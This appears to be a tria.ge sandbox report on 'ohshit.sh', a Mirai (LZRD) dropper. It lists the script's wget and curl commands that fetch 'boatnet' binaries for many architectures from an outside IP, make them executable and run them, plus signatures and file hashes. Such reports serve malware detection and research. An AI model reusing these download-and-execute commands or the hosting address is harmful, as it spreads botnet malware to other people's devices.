Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    80s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/03/2025, 08:32

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    37b42f54fe3c72cb1eb5543a6c17f546

  • SHA1

    637b619c1d425218ed7ec1ae064fc85196423c45

  • SHA256

    ab63171a0b3118f9a223b6f0cf23303cdd2aafcbdff1e8024e9728a91f99ae8d

  • SHA512

    e201190305d13d12894dfe7c8cd9f0c5022ebbd3af2d573f64433f676c1b22131f1abecc9f85bce3b453de6661a10291595318d15f025465360fa52c78089f8a

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 54 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:696
    • /usr/bin/wget
      wget http://107.172.82.193/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:702
    • /usr/bin/curl
      curl -O http://107.172.82.193/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:717
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:725
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-c64f833f9b554514afef46d79950adb2-systemd-timedated.service-74oe8r WTF
        2⤵
        • File and Directory Permissions Modification
        PID:726
      • /tmp/WTF
        ./WTF
        2⤵
          PID:727
        • /usr/bin/wget
          wget http://107.172.82.193/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /usr/bin/curl
          curl -O http://107.172.82.193/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:732
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-c64f833f9b554514afef46d79950adb2-systemd-timedated.service-74oe8r WTF
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/WTF
          ./WTF
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://107.172.82.193/hiddenbin/boatnet.arc
            2⤵
              PID:736
            • /usr/bin/curl
              curl -O http://107.172.82.193/hiddenbin/boatnet.arc
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:737
            • /bin/cat
              cat boatnet.arc
              2⤵
                PID:738
              • /bin/chmod
                chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-c64f833f9b554514afef46d79950adb2-systemd-timedated.service-74oe8r WTF
                2⤵
                • File and Directory Permissions Modification
                PID:739
              • /tmp/WTF
                ./WTF
                2⤵
                  PID:740
                • /usr/bin/wget
                  wget http://107.172.82.193/hiddenbin/boatnet.i468
                  2⤵
                    PID:741
                  • /usr/bin/curl
                    curl -O http://107.172.82.193/hiddenbin/boatnet.i468
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:742
                  • /bin/cat
                    cat boatnet.i468
                    2⤵
                      PID:750
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-c64f833f9b554514afef46d79950adb2-systemd-timedated.service-74oe8r WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:751
                    • /tmp/WTF
                      ./WTF
                      2⤵
                        PID:753
                      • /usr/bin/wget
                        wget http://107.172.82.193/hiddenbin/boatnet.i686
                        2⤵
                          PID:755
                        • /usr/bin/curl
                          curl -O http://107.172.82.193/hiddenbin/boatnet.i686
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:761
                        • /bin/cat
                          cat boatnet.i686
                          2⤵
                            PID:770
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-c64f833f9b554514afef46d79950adb2-systemd-timedated.service-74oe8r WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:771
                          • /tmp/WTF
                            ./WTF
                            2⤵
                              PID:772
                            • /usr/bin/wget
                              wget http://107.172.82.193/hiddenbin/boatnet.x86_64
                              2⤵
                                PID:775
                              • /usr/bin/curl
                                curl -O http://107.172.82.193/hiddenbin/boatnet.x86_64
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:783
                              • /bin/cat
                                cat boatnet.x86_64
                                2⤵
                                  PID:795
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:797
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                    PID:798
                                  • /usr/bin/wget
                                    wget http://107.172.82.193/hiddenbin/boatnet.mpsl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:800
                                  • /usr/bin/curl
                                    curl -O http://107.172.82.193/hiddenbin/boatnet.mpsl
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:805
                                  • /bin/cat
                                    cat boatnet.mpsl
                                    2⤵
                                      PID:806
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:807
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Modifies Watchdog functionality
                                      • Writes file to system bin folder
                                      • Reads runtime system information
                                      PID:808
                                    • /usr/bin/wget
                                      wget http://107.172.82.193/hiddenbin/boatnet.arm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:812
                                    • /usr/bin/curl
                                      curl -O http://107.172.82.193/hiddenbin/boatnet.arm
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:813
                                    • /bin/cat
                                      cat boatnet.arm
                                      2⤵
                                        PID:814
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:815
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                          PID:816
                                        • /usr/bin/wget
                                          wget http://107.172.82.193/hiddenbin/boatnet.arm5
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:818
                                        • /usr/bin/curl
                                          curl -O http://107.172.82.193/hiddenbin/boatnet.arm5
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:819
                                        • /bin/cat
                                          cat boatnet.arm5
                                          2⤵
                                            PID:828
                                          • /bin/chmod
                                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:829
                                          • /tmp/WTF
                                            ./WTF
                                            2⤵
                                              PID:831
                                            • /usr/bin/wget
                                              wget http://107.172.82.193/hiddenbin/boatnet.arm6
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:834
                                            • /usr/bin/curl
                                              curl -O http://107.172.82.193/hiddenbin/boatnet.arm6
                                              2⤵
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:841
                                            • /bin/cat
                                              cat boatnet.arm6
                                              2⤵
                                                PID:850
                                              • /bin/chmod
                                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:851
                                              • /tmp/WTF
                                                ./WTF
                                                2⤵
                                                  PID:852
                                                • /usr/bin/wget
                                                  wget http://107.172.82.193/hiddenbin/boatnet.arm7
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:856
                                                • /usr/bin/curl
                                                  curl -O http://107.172.82.193/hiddenbin/boatnet.arm7
                                                  2⤵
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:861
                                                • /bin/cat
                                                  cat boatnet.arm7
                                                  2⤵
                                                    PID:862
                                                  • /bin/chmod
                                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:863
                                                  • /tmp/WTF
                                                    ./WTF
                                                    2⤵
                                                      PID:864
                                                    • /usr/bin/wget
                                                      wget http://107.172.82.193/hiddenbin/boatnet.ppc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:866
                                                    • /usr/bin/curl
                                                      curl -O http://107.172.82.193/hiddenbin/boatnet.ppc
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:867
                                                    • /bin/cat
                                                      cat boatnet.ppc
                                                      2⤵
                                                        PID:868
                                                      • /bin/chmod
                                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:869
                                                      • /tmp/WTF
                                                        ./WTF
                                                        2⤵
                                                          PID:870
                                                        • /usr/bin/wget
                                                          wget http://107.172.82.193/hiddenbin/boatnet.spc
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:872
                                                        • /usr/bin/curl
                                                          curl -O http://107.172.82.193/hiddenbin/boatnet.spc
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:873
                                                        • /bin/cat
                                                          cat boatnet.spc
                                                          2⤵
                                                            PID:874
                                                          • /bin/chmod
                                                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:875
                                                          • /tmp/WTF
                                                            ./WTF
                                                            2⤵
                                                              PID:876
                                                            • /usr/bin/wget
                                                              wget http://107.172.82.193/hiddenbin/boatnet.m68k
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:878
                                                            • /usr/bin/curl
                                                              curl -O http://107.172.82.193/hiddenbin/boatnet.m68k
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:879
                                                            • /bin/cat
                                                              cat boatnet.m68k
                                                              2⤵
                                                                PID:880
                                                              • /bin/chmod
                                                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:881
                                                              • /tmp/WTF
                                                                ./WTF
                                                                2⤵
                                                                  PID:882
                                                                • /usr/bin/wget
                                                                  wget http://107.172.82.193/hiddenbin/boatnet.sh4
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:884
                                                                • /usr/bin/curl
                                                                  curl -O http://107.172.82.193/hiddenbin/boatnet.sh4
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:885
                                                                • /bin/cat
                                                                  cat boatnet.sh4
                                                                  2⤵
                                                                    PID:886
                                                                  • /bin/chmod
                                                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:887
                                                                  • /tmp/WTF
                                                                    ./WTF
                                                                    2⤵
                                                                      PID:888

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • /tmp/WTF

                                                                    Filesize

                                                                    23KB

                                                                    MD5

                                                                    6e0d03239183153de8b328368eec14c0

                                                                    SHA1

                                                                    d4436c25ca650862b1d626bc735d621720c850c3

                                                                    SHA256

                                                                    c28c0adf305d4225c9d21fa9c254519a07e24d4411b42b99c85d882be65a0d1b

                                                                    SHA512

                                                                    e96bfb589fa14c9b373d12765b52d17d8f505ee2e55d26bae4067a0d738d89e4e5490927060f8331569c7df4943719fb12e4c36b464eb3c9496abdd8da80edcd

                                                                  • /tmp/WTF

                                                                    Filesize

                                                                    162B

                                                                    MD5

                                                                    1b7c22a214949975556626d7217e9a39

                                                                    SHA1

                                                                    d01c97e2944166ed23e47e4a62ff471ab8fa031f

                                                                    SHA256

                                                                    340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87

                                                                    SHA512

                                                                    ba64847cf1d4157d50abe4f4a1e5c1996fe387c5808e2f758c7fb3213bfefe1f3712d343f0c30a16819749840954654a70611d2250fd0f7b032429db7afd2cc5

                                                                  • /tmp/WTF

                                                                    Filesize

                                                                    57KB

                                                                    MD5

                                                                    d55ad7ddc6b166522c3225839df619c3

                                                                    SHA1

                                                                    bb4c61e25abce482514e76907840605cf1abbbf8

                                                                    SHA256

                                                                    6c73b9ee290ffc3d5671821ea05d67ca012b3617a432107dbfe8fab0f1b6d7c7

                                                                    SHA512

                                                                    94508665c042fae60ce9e21b262f120c7f5b19a92e55c497408c0d71f4a51718315465070bffec2e9293a73b99734a3c7bdbbedce33d80a8cca667e939170916

                                                                  • /tmp/boatnet.x86

                                                                    Filesize

                                                                    20KB

                                                                    MD5

                                                                    681dd964889eddd4cfdc230ba745767b

                                                                    SHA1

                                                                    bdb24c1844bc8285e2bf781613149f6db7b4928d

                                                                    SHA256

                                                                    fca185b5efc7e5df44003d8612f179414eadb71c31386c707a7e6f1f8809790e

                                                                    SHA512

                                                                    ac2556dd6bf5c1fde0c0eea5c78037274065cbb5231969d572c8df8dafe3740c49d2c681d21e3abc0f786f1c617162af4c955543f28fe1462dbd196565c655a4